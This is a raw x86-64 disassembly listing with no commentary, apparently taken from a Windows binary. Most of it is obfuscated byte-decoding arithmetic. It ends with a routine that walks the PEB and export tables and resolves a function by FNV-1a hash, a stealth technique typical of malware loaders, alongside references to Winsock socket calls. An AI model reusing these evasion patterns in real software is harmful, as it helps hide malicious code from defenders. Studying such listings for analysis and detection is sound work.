lea edi, [r10 + rcx]
sub dil, 0x4a
jmp 0x14006041a
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400605c8
lea ecx, [r11 - 0x44]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
movzx eax, byte [rbp + r11 - 0x30]
add rax, r8
add r11, rax
lea edi, [r10 + rcx]
sub dil, 0x24
inc r11
jmp 0x14005ff33
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400605f0
lea edx, [r11 - 0x78]
mov ecx, 0x24
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006093a
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140060618
movzx r9d, r11b
lea ecx, [r9 + 0x54]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4c
jmp 0x14006090f
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140060640
movzx r9d, r11b
lea ecx, [r9 - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 8
jmp 0x1400608af
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14006066e
lea edx, [r11 - 0x7c]
mov ecx, 0x32
movzx eax, dl
dec r11
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r11
jmp 0x14005ff33
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14006041a
lea ecx, [r11 + 0x50]
inc r8
movzx eax, cl
dec r11
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x30
inc r11
jmp 0x14005ff33
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400606c7
movzx r9d, r11b
lea ecx, [r9 - 0x66]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x36
jmp 0x1400609dc
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400606f1
lea ecx, [r11 + 0x32]
dec r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5e
inc r11
jmp 0x14005ff33
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140060708
lea edx, [r11 - 0x36]
mov ecx, 0x3d
jmp 0x140060980
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14006072c
lea ecx, [r11 - 0x6a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1a
jmp 0x140060a44
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140060758
mov ecx, 0x29
movzx r9d, r11b
lea edx, [r9 + 0x62]
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006090f
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400603d8
lea edx, [r11 - 6]
mov ecx, reloc.WS2_32.dll_setsockopt
movzx eax, dl
and al, r10b
sub cl, al
movzx eax, byte [rbp + r11 - 0x30]
add rax, r8
add r11, rax
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r11
jmp 0x14005ff33
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400607c6
lea ecx, [r11 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
movzx eax, byte [rbp + r11 - 0x30]
add rax, r8
add r11, rax
lea edi, [r10 + rcx]
sub dil, 0x48
inc r11
jmp 0x14005ff33
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400607ee
movzx r9d, r11b
lea ecx, [r9 + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x70
jmp 0x14006090f
cmp rbx, rcx
jne 0x140060812
movzx r9d, r11b
lea ecx, [r9 + 0x74]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2c
jmp 0x1400608af
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140060840
lea edx, [r11 + 0x40]
mov ecx, 0x20
movzx eax, dl
dec r11
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r11
jmp 0x14005ff33
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006086d
lea ecx, [r11 + 0xc]
inc r8
movzx eax, cl
dec r11
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x54
inc r11
jmp 0x14005ff33
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x140060398
movzx r9d, r11b
mov ecx, ntohs
lea edx, [r9 - 0x28]
jmp 0x1400609cb
movzx edi, byte [rbp + r11 - 0x30]
movzx r9d, r11b
lea edx, [r9 + 0x70]
movzx eax, dl
and al, r10b
add al, al
sub dil, al
sub dil, 0x10
add dil, dl
add dil, r10b
add r9b, 0x56
movzx ecx, dil
movzx eax, r9b
and al, r10b
add al, al
sub cl, al
sub cl, 0x5a
add cl, r9b
add cl, r10b
mov byte [rbp + r11 - 0x30], cl
add rbx, r8
jmp 0x140060a44
mov ecx, 0x2e
movzx r9d, r11b
lea edx, [r9 + 0x3c]
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14006090f
movzx r9d, r11b
lea ecx, [r9 + 0x72]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1e
add r9b, 0x22
inc r8
movzx eax, r9b
mov ecx, 9
and al, r10b
sub cl, al
add cl, cl
add cl, r9b
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 - 0x30], al
add rax, r8
sub r11, rax
lea ecx, [r11 + 8]
inc rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, rbx
sub cl, 0x38
add cl, r10b
mov byte [rbp + r11 - 0x30], cl
add r11, rax
movzx eax, byte [rbp + r11 - 0x30]
add rax, r8
add r11, rax
inc r11
jmp 0x14005ff33
lea edx, [r11 - 0x26]
mov ecx, 5
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add rbx, r8
jmp 0x140060a44
lea edx, [r11 + 0x42]
mov ecx, 0x19
movzx eax, dl
dec r11
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r11
jmp 0x14005ff33
movzx r9d, r11b
mov ecx, 0x2d
lea edx, [r9 - 0x56]
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
sub r9b, 0x76
mov ecx, 0x1d
movzx eax, r9b
and al, r10b
sub cl, al
add cl, cl
add cl, r9b
add cl, r10b
mov byte [rbp + r11 - 0x30], cl
inc r8
dec r11
inc r11
jmp 0x14005ff33
lea ecx, [r11 + 0x7a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x56
dec r11
inc r11
jmp 0x14005ff33
lea rdx, [r11 + r12]
mov ecx, 0x33
movzx eax, r9b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14005ff33
lea rdx, [r11 + r13]
mov ecx, reloc.WS2_32.dll_recvfrom
movzx eax, r9b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r11 - 0x30]
add rax, r8
add r11, rax
inc r11
jmp 0x14005ff33
add r11b, 0x7e
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
sub dil, 0x72
jmp 0x14005ff30
sub r11b, 0x4e
mov ecx, reloc.WS2_32.dll_recvfrom
movzx eax, r11b
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r10b
jmp 0x14005ff16
lea rdx, [rbp + 0x15c0e58]
jmp 0x140060ade
lea rdx, [rbp + 0x135263e]
jmp 0x140060ade
lea rdx, [rbp - 0x30]
mov rcx, r14
call rsi
test rax, rax
je 0x140060ba9
mov qword [0x1401dd2e8], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140060b85
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140060b85
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
mov edx, 0x811c9dc5
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140060b80
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x140060b60
cmp edx, 0xab45c5ee
je 0x140060b8a
test r9d, r9d
jne 0x140060b40
mov rax, qword [rax]
jmp 0x140060b10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx r8d, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + r8*4]
mov rcx, r14
add rax, r10
call rax
mov al, 1
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret